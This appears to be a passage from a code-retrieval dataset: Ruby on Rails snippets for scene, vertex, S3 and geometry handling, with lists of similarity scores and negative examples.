"def vertices_scene2_params\n params.require(:vertices_scene2).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def index\n @geometries = Geometry.all\n end",
"def create\n @position_scene3 = PositionScene3.new(position_scene3_params)\n\n respond_to do |format|\n if @position_scene3.save\n format.html { redirect_to @position_scene3, notice: 'Position scene3 was successfully created.' }\n format.json { render :show, status: :created, location: @position_scene3 }\n else\n format.html { render :new }\n format.json { render json: @position_scene3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_scene(scene_id:) @scene_handler.scene(scene_id:scene_id) end",
"def getSceneNodes\n @sceneNodes\n end",
"def create\n @project = Project.find(params[:project_id])\n if !@project.owner?(session_obj)\n not_authorized and return\n end\n @scene = @project.scenes.new(params[:scene])\n #load up initial background and music\n @scene.load_initial_events\n respond_to do |format|\n if @scene.save!\n format.html { redirect_to edit_project_scene_path(@project, @scene) }\n format.json { render json: @scene, status: :created, location: @scene }\n else\n flash[:notice] = @scene.errors.full_messages\n format.html { redirect_to :back }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_scene\n if params[:id].include? '.vtt'\n params[:id].slice! '_thumbs.vtt'\n params[:format] = :vtt\n end\n if params[:id].include? '.jpg'\n params[:id].slice! '_sprite.jpg'\n params[:format] = :jpg\n end\n\n if Scene.find_by(checksum: params[:id])\n @scene = Scene.find_by(checksum: params[:id])\n else\n @scene = Scene.find(params[:id])\n end\n end",
"def set_scene\n if params[:id].include? '.vtt'\n params[:id].slice! '_thumbs.vtt'\n params[:format] = :vtt\n end\n if params[:id].include? '.jpg'\n params[:id].slice! '_sprite.jpg'\n params[:format] = :jpg\n end\n\n if Scene.find_by(checksum: params[:id])\n @scene = Scene.find_by(checksum: params[:id])\n else\n @scene = Scene.find(params[:id])\n end\n end",
"def scene_params\n params.require(:scene).permit(:name, :url, :user_id, :scene_type)\n end",
"def get_vertices\n getVertices.to_route(:graph => self, :element_type => :vertex)\n end",
"def get_vertices\n getVertices.to_route(:graph => self, :element_type => :vertex)\n end",
"def destroy\n @scene.destroy\n respond_to do |format|\n format.html { redirect_to scenes_url }\n format.json { head :no_content }\n end\n end",
"def get_vertices\n vertices = {}\n @schema['Vertices'].each do |raw_vertex|\n id = raw_vertex[0].to_s\n coordinates = raw_vertex[1]['Position']\n vertices[id] = Vertex.new(coordinates['X'].to_f, coordinates['Y'].to_f)\n end\n vertices\n end",
"def create\n @vertices_scene2 = VerticesScene2.new(vertices_scene2_params)\n\n respond_to do |format|\n if @vertices_scene2.save\n format.html { redirect_to @vertices_scene2, notice: 'Vertices scene2 was successfully created.' }\n format.json { render :show, status: :created, location: @vertices_scene2 }\n else\n format.html { render :new }\n format.json { render json: @vertices_scene2.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vertices\n @vert\n end",
"def vertices\n\tend",
"def destroy\n\n @scene.destroy\n\n respond_to do |format|\n format.html { redirect_to action: \"index\" }\n format.json { head :no_content }\n end\n end",
"def objects\n bucket_obj = Aws::S3::Bucket.new(name: bucket, client: s3_client)\n bucket_obj.objects( prefix: prefix)\n end",
"def v(*filters)\n raise Pacer::UnsupportedOperation, \"Can't get vertices for this route type.\"\n end",
"def s3_files\n S3File.find_by_project_name(folder_name + \"/\") unless folder_name.nil?\n end",
"def index\n if params.include?(:scene_id)\n @videos = Video.with_scene_id(params[:scene_id])\n\n respond_to do |format|\n format.json { render :json => @videos }\n format.html # index.html.erb\n end\n else\n raise CanCan::AccessDenied.new(\"Not authorized!\")\n end\n end",
"def show\n @s3_image = S3Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @s3_image }\n end\n end",
"def show\n client = Aws::S3::Client.new(\n region: Rails.application.credentials.aws[:aws_region],\n access_key_id: Rails.application.credentials.aws[:access_key_id],\n secret_access_key: Rails.application.credentials.aws[:secret_access_key])\n @objects = client.list_objects({bucket:'awsprojectbuckett'}).contents\n end",
"def index\n @position_scene1s = PositionScene1.all\n end",
"def getVertexCollections\r\n result = request(\"GET\", \"vertex\", key: :collections)\r\n return result if return_directly?(result)\r\n result.map do |x|\r\n Arango::Collection.new(name: x, database: @database, graph: self)\r\n end\r\n end",
"def show\n @sphere = Sphere.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sphere }\n end\n end",
"def assets\n @list = []\n\n raise DRI::Exceptions::BadRequest unless params[:objects].present?\n\n solr_query = Solr::Query.construct_query_for_ids(\n params[:objects].map { |o| o.values.first }\n )\n result_docs = Solr::Query.new(solr_query)\n result_docs.each do |doc|\n item = {}\n item['pid'] = doc.id\n item['files'] = assets_and_surrogates(doc)\n\n @list << item unless item.empty?\n end\n\n raise DRI::Exceptions::NotFound if @list.empty?\n\n respond_to do |format|\n format.json\n end\n end",
"def destroy\n @scene.destroy\n respond_to do |format|\n format.html { redirect_to scenes_url, notice: 'Scene was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def get_vertices\n getVertices.iterator.to_route(:graph => self, :element_type => :vertex)\n end",
"def set_position_scene3\n @position_scene3 = PositionScene3.find(params[:id])\n end",
"def index\n @mp3s = Mp3.all\n end",
"def vertices\n [\n pos,\n Vertex.new(pos.x, pos.y + dims.y, pos.z),\n Vertex.new(pos.x + dims.x, pos.y + dims.y, pos.z),\n Vertex.new(pos.x + dims.x, pos.y, pos.z),\n Vertex.new(pos.x, pos.y, pos.z + dims.z),\n Vertex.new(pos.x, pos.y + dims.y, pos.z + dims.z),\n Vertex.new(pos.x + dims.x, pos.y, pos.z + dims.z),\n Vertex.new(pos.x + dims.x, pos.y + dims.y, pos.z + dims.z)\n ]\n end",
"def index\n @textures = Texture.find(:all, :limit => 20, :order=> 'created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @textures }\n end\n end",
"def vertices\n to_a\n end",
"def index\n @ol3_vector_styles = Ol3VectorStyle.all\n end",
"def space_scene_params\n params.require(:space_scene).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def index\n @shouldersbiceps3s = Shouldersbiceps3.all\n end",
"def raw_mesh_vertices\r\n vertices = []\r\n definition = TT::Instance.definition( @instance )\r\n for entity in definition.entities\r\n next unless entity.is_a?( Sketchup::Edge )\r\n vertices.concat( entity.vertices )\r\n end\r\n vertices.uniq!\r\n vertices\r\n end",
"def Ray3dFromSegment3d(arg0)\n ret = _invoke(1610744268, [arg0], [VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def scene_object_params\n params.require(:scene_object).permit(:kind, :locked, :position_x, :position_y, :position_z, :texture_type, :texture_url, :scale_x, :scale_y, :scale_z, :rotation_x, :rotation_y, :rotation_z, :hidden, :name)\n end",
"def update\n respond_to do |format|\n if @vertices_scene2.update(vertices_scene2_params)\n format.html { redirect_to @vertices_scene2, notice: 'Vertices scene2 was successfully updated.' }\n format.json { render :show, status: :ok, location: @vertices_scene2 }\n else\n format.html { render :edit }\n format.json { render json: @vertices_scene2.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vertexes_parts\n raw_vertexes_s.scan(VERTEX_REGEX)\n end",
"def show\n @textures = @stage.textures[0]\n unless @stage.textures.empty?\n p(@stage.textures)\n p(\"debug texture url:\")\n p(@textures.data.url)\n end\n p(\"debug scene_data:\")\n p(@stage)\n end",
"def destroy\n @scene_object.destroy\n respond_to do |format|\n format.html { redirect_to scene_objects_url, notice: 'Scene object was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def traverse_scene(doc)\n id_elem_hash = build_id_elem_hash(doc.root)\n material_count_hash = {}\n scene = doc.elements['COLLADA/scene']\n if scene == nil\n raise ColladaError.new(\"couldn't find <scene>\")\n end\n visual_scene = elem_url_ref_to_elem(get_child_elem(scene, 'instance_visual_scene'), 'url', id_elem_hash)\n meshes = []\n visual_scene.elements.each('node') do |node_elem|\n meshes.concat(traverse_node(node_elem, identity_matrix(4), id_elem_hash, material_count_hash))\n end\n meshes\nend",
"def destroy\n @scene.destroy\n respond_to do |format|\n format.html { redirect_to scenario_scenes_path(@scenario), notice: \"Scene was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def create\n @scene_object = SceneObject.new(scene_object_params)\n\n respond_to do |format|\n if @scene_object.save\n format.html { redirect_to @scene_object, notice: 'Scene object was successfully created.' }\n format.json { render :show, status: :created, location: @scene_object }\n else\n format.html { render :new }\n format.json { render json: @scene_object.errors, status: :unprocessable_entity }\n end\n end\n end",
"def nowscene_params\n params.require(:nowscene).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def stod3\n Apis.client.get('/tv/stod3')\n end",
"def create\n @disable_navp = true\n @scene = Scene.new(scene_params)\n\n respond_to do |format|\n if @scene.save\n format.html { redirect_to edit_scene_path(@scene.id), notice: 'Scene was successfully created.' }\n format.json { render action: 'show', status: :created, location: @scene }\n else\n format.html { render action: 'new' }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_scene\n SceneManager.scene\nend",
"def index\n @postnew3s = Postnew3.all\n end",
"def list_cloud_data\n\t\tbegin\n\t\t\t@response, @headers, @url = amazon_request(\"Get\", \"/?prefix=#{current_user.email}&delimiter=%2F\", \"\", \"\", :cloud => @s3)\n\t\t\t@response_favorites, @headers_favorites, @url_favorites = amazon_request(\"Get\", \"/?prefix=Favorites&delimiter=%2F\", \"\", \"\", :cloud => @s3)\n\t\t\t@response_demos, @headers_demos, @url_demos = amazon_request(\"Get\", \"/?prefix=Demos&delimiter=%2F\", \"\", \"\", :cloud => @s3)\n\t\trescue\n\t\t\tsession[:error] = \"Can't connect to the Amazon bucket. Check the environment variables\"\n\t\t\tredirect_to :controller => \"clouds\", :action => \"error\", :id => \"0\"\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @position_scene3.update(position_scene3_params)\n format.html { redirect_to @position_scene3, notice: 'Position scene3 was successfully updated.' }\n format.json { render :show, status: :ok, location: @position_scene3 }\n else\n format.html { render :edit }\n format.json { render json: @position_scene3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @scene.update_attributes(params[:scene])\n format.html { redirect_to edit_project_scene_path(@scene.project, @scene) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # JSONファイルから文字列を抽出する\n file = params['stage']['file']# Upされたファイルにアクセス\n \n p(\"file params:\")\n\n @jsonstring = file.read\n p(@jsonstring)\n @stage = Stage.new(:scene_data => @jsonstring, :title => params[:stage][:title])\n p(\"stage.scene_data:\")\n p(@stage.scene_data)\n #p(@stage.nothing)\n \n if params[:stage][:texture] != nil\n @textures = Texture.new(:data => params[:stage][:texture]['data'])\n @stage.textures << @textures\n end\n\n respond_to do |format|\n if @stage.save!\n format.html { redirect_to @stage, notice: 'Stage was successfully created.' }\n format.json { render action: 'show', status: :created, location: @stage }\n else\n format.html { render action: 'new' }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_verticles\n if block_given?\n @j_del.java_method(:getVerticles, [Java::IoVertxCore::Handler.java_class]).call((Proc.new { |ar| yield(ar.failed ? ar.cause : nil, ar.succeeded ? ar.result.to_a.map { |elt| elt != nil ? JSON.parse(elt.toJson.encode) : nil } : nil) }))\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling get_verticles()\"\n end",
"def Plane3dIntersectsRay3d(arg0, arg1, arg2, arg3)\n ret = _invoke(1610744273, [arg0, arg1, arg2, arg3], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_R8, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def num_vertices()\n return vertex_list().length()\n end"
] | [
"0.6947419",
"0.6527479",
"0.6461013",
"0.64133304",
"0.63261",
"0.63257515",
"0.6186886",
"0.5959536",
"0.57730824",
"0.5721756",
"0.5705856",
"0.5575419",
"0.55732656",
"0.5552519",
"0.55313027",
"0.5500711",
"0.54620427",
"0.5449338",
"0.54421437",
"0.54275167",
"0.5427031",
"0.5376064",
"0.5358932",
"0.5351723",
"0.53323174",
"0.53211665",
"0.53195506",
"0.53154254",
"0.5309948",
"0.53006715",
"0.5298351",
"0.52491605",
"0.52487856",
"0.5220029",
"0.5211653",
"0.5210079",
"0.52015567",
"0.52015567",
"0.5201513",
"0.5195042",
"0.51792675",
"0.5177692",
"0.5176858",
"0.51666844",
"0.51485837",
"0.5141018",
"0.5139472",
"0.51227856",
"0.51227856",
"0.51203686",
"0.51090837",
"0.51090837",
"0.51043975",
"0.5097653",
"0.50976485",
"0.5092046",
"0.50777227",
"0.5077345",
"0.50519377",
"0.5050177",
"0.5049477",
"0.5030471",
"0.50126237",
"0.5007588",
"0.5002611",
"0.49718854",
"0.49710745",
"0.4959857",
"0.49503472",
"0.49425912",
"0.4942193",
"0.49372596",
"0.49328297",
"0.4932307",
"0.4920515",
"0.49146873",
"0.49102822",
"0.49045914",
"0.4903609",
"0.4897973",
"0.48944026",
"0.48908198",
"0.4878509",
"0.48652458",
"0.48513934",
"0.48381487",
"0.4837582",
"0.48365214",
"0.48359743",
"0.4816711",
"0.48126534",
"0.48080856",
"0.4807555",
"0.48017716",
"0.47818625",
"0.47782564",
"0.47749868",
"0.47640222",
"0.47515875",
"0.47500873"
] | 0.7805892 | 0 |
GET /vertices_scene3s/1 GET /vertices_scene3s/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @vertices_scene3s = VerticesScene3.all\n end",
"def set_vertices_scene3\n @vertices_scene3 = VerticesScene3.find(params[:id])\n end",
"def index\n @vertices_scene1s = VerticesScene1.all\n end",
"def index\n @position_scene3s = PositionScene3.all\n end",
"def create\n @vertices_scene3 = VerticesScene3.new(vertices_scene3_params)\n\n respond_to do |format|\n if @vertices_scene3.save\n format.html { redirect_to @vertices_scene3, notice: 'Vertices scene3 was successfully created.' }\n format.json { render :show, status: :created, location: @vertices_scene3 }\n else\n format.html { render :new }\n format.json { render json: @vertices_scene3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vertices_scene3_params\n params.require(:vertices_scene3).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def destroy\n @vertices_scene3.destroy\n respond_to do |format|\n format.html { redirect_to vertices_scene3s_url, notice: 'Vertices scene3 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @vertices_scene2s = VerticesScene2.all\n end",
"def update\n respond_to do |format|\n if @vertices_scene3.update(vertices_scene3_params)\n format.html { redirect_to @vertices_scene3, notice: 'Vertices scene3 was successfully updated.' }\n format.json { render :show, status: :ok, location: @vertices_scene3 }\n else\n format.html { render :edit }\n format.json { render json: @vertices_scene3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_vertices_scene1\n @vertices_scene1 = VerticesScene1.find(params[:id])\n end",
"def index\n @scene_objects = SceneObject.all\n end",
"def vertices_scene1_params\n params.require(:vertices_scene1).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def set_vertices_scene2\n @vertices_scene2 = VerticesScene2.find(params[:id])\n end",
"def destroy\n @vertices_scene1.destroy\n respond_to do |format|\n format.html { redirect_to vertices_scene1s_url, notice: 'Vertices scene1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @vertices_scene1 = VerticesScene1.new(vertices_scene1_params)\n\n respond_to do |format|\n if @vertices_scene1.save\n format.html { redirect_to @vertices_scene1, notice: 'Vertices scene1 was successfully created.' }\n format.json { render :show, status: :created, location: @vertices_scene1 }\n else\n format.html { render :new }\n format.json { render json: @vertices_scene1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @id3s = Id3.all\n end",
"def update\n respond_to do |format|\n if @vertices_scene1.update(vertices_scene1_params)\n format.html { redirect_to @vertices_scene1, notice: 'Vertices scene1 was successfully updated.' }\n format.json { render :show, status: :ok, location: @vertices_scene1 }\n else\n format.html { render :edit }\n format.json { render json: @vertices_scene1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def position_scene3_params\n params.require(:position_scene3).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def destroy\n @vertices_scene2.destroy\n respond_to do |format|\n format.html { redirect_to vertices_scene2s_url, notice: 'Vertices scene2 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def vertices\n @vertices\n end",
"def get_scene(scene_id:) @scene_handler.scene(scene_id:scene_id) end",
"def index\n @vertices = Vertex.all\n\n respond_with(@vertices)\n end",
"def index\n @user3s = User3.all\n end",
"def index\n @title3s = Title3.all\n end",
"def show\n if authorise(request)\n req = GetVerticesRequest.new(params[:id])\n serv = RoomServices.new\n res = serv.get_vertices(req)\n render json: { success: res.success, message: res.message, data: res.data }, status: :ok\n else\n render json: { success: 'FAILED', message: 'Unauthorized', data: nil }, status: 401\n end\n end",
"def destroy\n @position_scene3.destroy\n respond_to do |format|\n format.html { redirect_to position_scene3s_url, notice: 'Position scene3 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @vertices_scene2 = VerticesScene2.new(vertices_scene2_params)\n\n respond_to do |format|\n if @vertices_scene2.save\n format.html { redirect_to @vertices_scene2, notice: 'Vertices scene2 was successfully created.' }\n format.json { render :show, status: :created, location: @vertices_scene2 }\n else\n format.html { render :new }\n format.json { render json: @vertices_scene2.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_scene\n if params[:id].include? '.vtt'\n params[:id].slice! '_thumbs.vtt'\n params[:format] = :vtt\n end\n if params[:id].include? '.jpg'\n params[:id].slice! '_sprite.jpg'\n params[:format] = :jpg\n end\n\n if Scene.find_by(checksum: params[:id])\n @scene = Scene.find_by(checksum: params[:id])\n else\n @scene = Scene.find(params[:id])\n end\n end",
"def set_scene\n if params[:id].include? '.vtt'\n params[:id].slice! '_thumbs.vtt'\n params[:format] = :vtt\n end\n if params[:id].include? '.jpg'\n params[:id].slice! '_sprite.jpg'\n params[:format] = :jpg\n end\n\n if Scene.find_by(checksum: params[:id])\n @scene = Scene.find_by(checksum: params[:id])\n else\n @scene = Scene.find(params[:id])\n end\n end",
"def create\n @position_scene3 = PositionScene3.new(position_scene3_params)\n\n respond_to do |format|\n if @position_scene3.save\n format.html { redirect_to @position_scene3, notice: 'Position scene3 was successfully created.' }\n format.json { render :show, status: :created, location: @position_scene3 }\n else\n format.html { render :new }\n format.json { render json: @position_scene3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_vertices\n @vertices.keys\n end",
"def vertices_scene2_params\n params.require(:vertices_scene2).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def index\n @scene_connectors = SceneConnector.includes(:scene_from, :scene_to).all\n end",
"def index\n @space_scenes = SpaceScene.all\n end",
"def index\n @advert3s = Advert3.all\n end",
"def create\n @project = Project.find(params[:project_id])\n if !@project.owner?(session_obj)\n not_authorized and return\n end\n @scene = @project.scenes.new(params[:scene])\n #load up initial background and music\n @scene.load_initial_events\n respond_to do |format|\n if @scene.save!\n format.html { redirect_to edit_project_scene_path(@project, @scene) }\n format.json { render json: @scene, status: :created, location: @scene }\n else\n flash[:notice] = @scene.errors.full_messages\n format.html { redirect_to :back }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @sphere = Sphere.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sphere }\n end\n end",
"def scene_params\n params.require(:scene).permit(:name, :url, :user_id, :scene_type)\n end",
"def vertices\n @vertices\n end",
"def index\n @baz3s = Baz3.all\n end",
"def destroy\n @scene.destroy\n respond_to do |format|\n format.html { redirect_to scenes_url }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @vertices_scene2.update(vertices_scene2_params)\n format.html { redirect_to @vertices_scene2, notice: 'Vertices scene2 was successfully updated.' }\n format.json { render :show, status: :ok, location: @vertices_scene2 }\n else\n format.html { render :edit }\n format.json { render json: @vertices_scene2.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vertices\n end",
"def vertices\n end",
"def show\n @s3_image = S3Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @s3_image }\n end\n end",
"def index\n @geometries = Geometry.all\n end",
"def set_position_scene3\n @position_scene3 = PositionScene3.find(params[:id])\n end",
"def destroy\n\n @scene.destroy\n\n respond_to do |format|\n format.html { redirect_to action: \"index\" }\n format.json { head :no_content }\n end\n end",
"def getSceneNodes\n @sceneNodes\n end",
"def index\n @position_scene1s = PositionScene1.all\n end",
"def list_vertices\n\t\treturn @Vertices\n\tend",
"def index\n if params.include?(:scene_id)\n @videos = Video.with_scene_id(params[:scene_id])\n\n respond_to do |format|\n format.json { render :json => @videos }\n format.html # index.html.erb\n end\n else\n raise CanCan::AccessDenied.new(\"Not authorized!\")\n end\n end",
"def index\n @spheres = Sphere.all\n end",
"def regions\n @regions = Region.all\n\n render json: @regions.to_json(:include => :vertices)\n end",
"def index\n @cp3s = Cp3.all\n end",
"def scenes\n Scene.find( \n :all,\n :select => 's.*',\n :from => 'scenes s, episodes e, locations l',\n :conditions => [\"s.episode_id = e.id and s.id = l.scene_id and l.place_id = ?\", self],\n :order => 'e.tx_date, e.position, s.segment_position'\n )\n end",
"def vertices\n @vert\n end",
"def create\n @scene_object = SceneObject.new(scene_object_params)\n\n respond_to do |format|\n if @scene_object.save\n format.html { redirect_to @scene_object, notice: 'Scene object was successfully created.' }\n format.json { render :show, status: :created, location: @scene_object }\n else\n format.html { render :new }\n format.json { render json: @scene_object.errors, status: :unprocessable_entity }\n end\n end\n end",
"def v(*filters)\n raise Pacer::UnsupportedOperation, \"Can't get vertices for this route type.\"\n end",
"def get_vertices\n getVertices.to_route(:graph => self, :element_type => :vertex)\n end",
"def get_vertices\n getVertices.to_route(:graph => self, :element_type => :vertex)\n end",
"def get_scene\n SceneManager.scene\nend",
"def vertices\n @vertices.keys\n end",
"def update\n\n respond_to do |format|\n if @scene.update_attributes(params[:scene])\n format.html { redirect_to edit_project_scene_path(@scene.project, @scene) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @textures = Texture.find(:all, :limit => 20, :order=> 'created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @textures }\n end\n end",
"def vertices\n [\n @origin,\n { x: x_max, y: y_min, z: z_min },\n { x: x_min, y: y_max, z: z_min },\n { x: x_min, y: y_min, z: z_max },\n { x: x_max, y: y_max, z: z_min },\n { x: x_max, y: y_min, z: z_max },\n { x: x_min, y: y_max, z: z_max },\n { x: x_max, y: y_max, z: z_max }\n ]\n end",
"def vertices\n\tend",
"def show\n @textures = @stage.textures[0]\n unless @stage.textures.empty?\n p(@stage.textures)\n p(\"debug texture url:\")\n p(@textures.data.url)\n end\n p(\"debug scene_data:\")\n p(@stage)\n end",
"def destroy\n @scene.destroy\n respond_to do |format|\n format.html { redirect_to scenes_url, notice: 'Scene was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def get_vertices\n vertices = {}\n @schema['Vertices'].each do |raw_vertex|\n id = raw_vertex[0].to_s\n coordinates = raw_vertex[1]['Position']\n vertices[id] = Vertex.new(coordinates['X'].to_f, coordinates['Y'].to_f)\n end\n vertices\n end",
"def update\n respond_to do |format|\n if @position_scene3.update(position_scene3_params)\n format.html { redirect_to @position_scene3, notice: 'Position scene3 was successfully updated.' }\n format.json { render :show, status: :ok, location: @position_scene3 }\n else\n format.html { render :edit }\n format.json { render json: @position_scene3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @scene_object.destroy\n respond_to do |format|\n format.html { redirect_to scene_objects_url, notice: 'Scene object was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @disable_navp = true\n @scene = Scene.new(scene_params)\n\n respond_to do |format|\n if @scene.save\n format.html { redirect_to edit_scene_path(@scene.id), notice: 'Scene was successfully created.' }\n format.json { render action: 'show', status: :created, location: @scene }\n else\n format.html { render action: 'new' }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_scene\n @scene = Scene.find(params[:id])\n end",
"def set_scene\n @scene = Scene.find(params[:id])\n end",
"def stod3\n Apis.client.get('/tv/stod3')\n end",
"def set_scene_object\n @scene_object = SceneObject.find(params[:id])\n end",
"def show\n @vertex = Vertex.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vertex }\n end\n end",
"def mesh_vertices\r\n # private ?\r\n d = TT::Instance.definition( @instance )\r\n transformation = @instance.model.edit_transform\r\n points = mesh_points( final_subdivs, transformation )\r\n vertices = raw_mesh_vertices()\r\n\r\n # <debug>\r\n unless points.size == vertices.size\r\n Console.log( 'mesh_vertices' )\r\n Console.log( \"> Points: #{points.size}\" )\r\n Console.log( \"> Vertices: #{vertices.size}\" )\r\n end\r\n # </debug>\r\n\r\n patch_vertices = []\r\n for point in points\r\n vertex = vertices.find { |v| v.position == point } # (!) Optimize\r\n patch_vertices << vertex\r\n vertices.delete( vertex )\r\n end\r\n patch_vertices\r\n end",
"def nowscene_params\n params.require(:nowscene).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def destroy\n @scene.destroy\n respond_to do |format|\n format.html { redirect_to scenario_scenes_path(@scenario), notice: \"Scene was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def space_scene_params\n params.require(:space_scene).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def scene_object_params\n params.require(:scene_object).permit(:kind, :locked, :position_x, :position_y, :position_z, :texture_type, :texture_url, :scale_x, :scale_y, :scale_z, :rotation_x, :rotation_y, :rotation_z, :hidden, :name)\n end",
"def get_vertices\n getVertices.iterator.to_route(:graph => self, :element_type => :vertex)\n end",
"def update\n respond_to do |format|\n if @scene.update(scene_params)\n format.html { redirect_to scenario_scenes_path(@scenario), notice: \"Scene was successfully updated.\" }\n format.json { render :show, status: :ok, location: @scene }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n client = Aws::S3::Client.new(\n region: Rails.application.credentials.aws[:aws_region],\n access_key_id: Rails.application.credentials.aws[:access_key_id],\n secret_access_key: Rails.application.credentials.aws[:secret_access_key])\n @objects = client.list_objects({bucket:'awsprojectbuckett'}).contents\n end",
"def traverse_scene(doc)\n id_elem_hash = build_id_elem_hash(doc.root)\n material_count_hash = {}\n scene = doc.elements['COLLADA/scene']\n if scene == nil\n raise ColladaError.new(\"couldn't find <scene>\")\n end\n visual_scene = elem_url_ref_to_elem(get_child_elem(scene, 'instance_visual_scene'), 'url', id_elem_hash)\n meshes = []\n visual_scene.elements.each('node') do |node_elem|\n meshes.concat(traverse_node(node_elem, identity_matrix(4), id_elem_hash, material_count_hash))\n end\n meshes\nend",
"def index\n @s3images = S3image.all\n\n end",
"def create\n @space_scene = SpaceScene.new(space_scene_params)\n\n respond_to do |format|\n if @space_scene.save\n format.html { redirect_to @space_scene, notice: 'Space scene was successfully created.' }\n format.json { render :show, status: :created, location: @space_scene }\n else\n format.html { render :new }\n format.json { render json: @space_scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @ol3_vector_styles = Ol3VectorStyle.all\n end",
"def index\n @mp3s = Mp3.all\n end",
"def show\n @texture = Texture.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @texture }\n end\n end",
"def create\n # JSONファイルから文字列を抽出する\n file = params['stage']['file']# Upされたファイルにアクセス\n \n p(\"file params:\")\n\n @jsonstring = file.read\n p(@jsonstring)\n @stage = Stage.new(:scene_data => @jsonstring, :title => params[:stage][:title])\n p(\"stage.scene_data:\")\n p(@stage.scene_data)\n #p(@stage.nothing)\n \n if params[:stage][:texture] != nil\n @textures = Texture.new(:data => params[:stage][:texture]['data'])\n @stage.textures << @textures\n end\n\n respond_to do |format|\n if @stage.save!\n format.html { redirect_to @stage, notice: 'Stage was successfully created.' }\n format.json { render action: 'show', status: :created, location: @stage }\n else\n format.html { render action: 'new' }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @scene = @scenario.scenes.build(scene_params)\n\n respond_to do |format|\n if @scene.save\n format.html { redirect_to scenario_scenes_path(@scenario), notice: \"Scene was successfully created.\" }\n format.json { render :show, status: :created, location: @scene }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @scene.update(scene_params)\n format.html { redirect_to edit_scene_path(@scene.id), notice: 'Scene was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def Ray3dFromSegment3d(arg0)\n ret = _invoke(1610744268, [arg0], [VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def plane\n return nil if @vertices.length < 3\n Plane.three_points(*@vertices[0..2])\n end",
